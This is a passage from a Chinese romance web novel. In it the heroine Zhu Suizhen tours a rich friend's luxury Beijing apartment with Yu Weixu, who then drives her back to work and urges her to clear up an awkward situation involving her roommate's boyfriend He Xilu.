不一会儿,窦斐华捧着三个杯子出来了:“来,吃饭吧,我把杯子洗了咱正好就用上。” 祝岁祯跟着俞惟叙洗了手,去了旁边一个又是超大的餐厅,餐桌上摆了好多盖着盖子的盘子,祝岁祯惊讶地问:“这都是你做的?” 窦斐华把杯子给他们俩摆好:“那我可太有本事了,我爸妈得乐疯了。是找家宴私厨来做的。” 祝岁祯挨着俞惟叙坐下, 窦斐华把盖子全揭开拿去旁边:“因为不知道你们爱吃什么,所以我点的都是我爱吃的哈哈哈……妹子你要是不爱吃的话我让人再做。” “不用麻烦,看着都特别好,我也不挑。”祝岁祯觉得这些菜品已经很高级了。 杯子里倒上果汁,三人边吃边聊。 窦斐华也在海淀上学,家里不太管他学习,完全放养的状态。这套房子是他爸妈去年买给他的,装修完刚刚搬进来,好几个屋子都还空着,他让俞惟叙来给他参谋参谋怎么设计。 吃饱喝足,窦斐华带着他俩逛这套房子。祝岁祯觉得确实用得着“逛”这个字……好大! 据说这房子有三百多平,四室带个保姆房,买下花了三千多个。祝岁祯甚至不惊讶了,毕竟有俞惟叙家金融街的房子在前。 之前祝岁祯在什么推送文章里看到过上海的新豪宅楼盘开售,有明星认购,一套一个亿,甚至还不是别墅……哎妈呀这世上有钱人怎么这么多。 思绪回来,她听着俞惟叙和窦斐华聊什么地方该放什么东西,用什么材质和颜色更有质感。 窦斐华:“这个床是poliform定制的,但是我想换个床垫,你觉得哪家好?” 俞惟叙看了眼墙上的画:“海丝腾吧,我宿舍那屋子就订了海丝腾,用着还行。” “哦,行,我回头看看订哪款。” ……祝岁祯表示根本听不懂他们在说些什么东西。 半小时后终于聊完了,因为屋子大,三人来回走动,祝岁祯觉得午餐已经消化了不少。 临走时祝岁祯和窦斐华加了好友、两人跟他道了别,原路返回坐进车。俞惟叙却没急着走。 “继续聊,你跟何希簏怎么回事。” “就……小误会,他看见你这车,以为是什么坏人。” “哼,”俞惟叙冷笑一声,“当起护花使者来了?他挺喜欢玩儿三角恋啊?” 祝岁祯:…… 倒也不事这么简单,要没爸妈工作这层关系在,祝岁祯犯不着这么为难。 俞惟叙看着她:“我劝你啊,别觉得你舍友不知道,连我都能看出来,你早些跟他说明白。” “嗯。” 俞惟叙看她绞着手指纠结,决定不多嘴了,这里面牵扯她舍友的事,他不好掺合。 “需要帮忙就告诉我,我这几天都在北京。”他发动车子。 “哦,诶?放假之后你都在这里待着吗?没去广州?” 俞惟叙漫不经心地操控着法拉利缓缓驶出车位:“准备去,广州那边研发了个产品,正在最后测试修复阶段,我过去再看看。” 祝岁祯点点头,听起来好厉害的样子。 他继续说:“放假之后去了匈牙利,我妈本来有个合作要谈,没去成,我替她。然后又去牛津见见导师,上周回来,过个生日。” 祝岁祯猛地坐直:“嗯?!你生日?!” “对,不用祝我了,生日已经过了。” “呃……那就祝你天天都像生日一样快乐。” 俞惟叙唇角翘起,戴上墨镜:“谢谢,借你吉言。” 祝岁祯笑笑,低下头打开地图,她还不知道这小区叫什么名字。 蓝色的定位小光标停在名叫“西山壹号院”的位置。 嚯!就在软件园区旁边,仅仅隔了一条街。 这房价水平……得这些大厂的高管才买得起吧?祝岁祯觉得自己如果成功留用,估计也很难厮杀到那个位置。 很快,车子又缓缓停下了,这个时间公司大楼门口没什么人,祝岁祯准备下车。 “谢谢你又带我涨见识啦,饭也很好吃。” 俞惟叙帮她把安全带理好:“不用,毕竟我也送他乔迁礼物了,叫你来就是帮我回点儿本。” “哈哈,好,那我已经光荣完成任务了,先撤退,拜拜。”说着,她就要打开车门。 “哎,”俞惟叙叫住她,“唉,算了,说了你也不听……” 祝岁祯知道他的意思。 “我会尽量快点处理掉的,不想为他分散精力。” 俞惟叙看着她,点点头:“去吧,拜。” -.- 何希麓一下午没找她,梦梦隔段时间就在群里播报行程,马上就到站了。 祝岁祯问她晚上准备和男朋友去哪里吃饭,还回不回宿舍住。她想让梦梦帮忙带些零食糕点,今天估计下班会比较晚,有的店都打烊了。 不过晚饭后根据梦梦在群里的汇报,她大概是不回来了。祝岁祯自己点了外卖放学校外卖柜,回宿舍的时候取了边走边吃。 终于可以自己一个人下班了,这种自由的感觉真好。 第二天上班的时候,何希麓又来串门,说梦梦来的时候把他吓一跳,让祝岁祯以后别瞒着他。 但祝岁祯必不可能答应。 因为梦梦没什么事干,就只能找何希麓吃饭,打出租车来接他,吃完饭再把他送回来。 晚上,梦梦终于回宿舍了,祝岁祯见她跟何希麓玩得不错,也就没说什么,只盼着何希麓以后少来她们部门。 但第三天,小两口就出现矛盾了。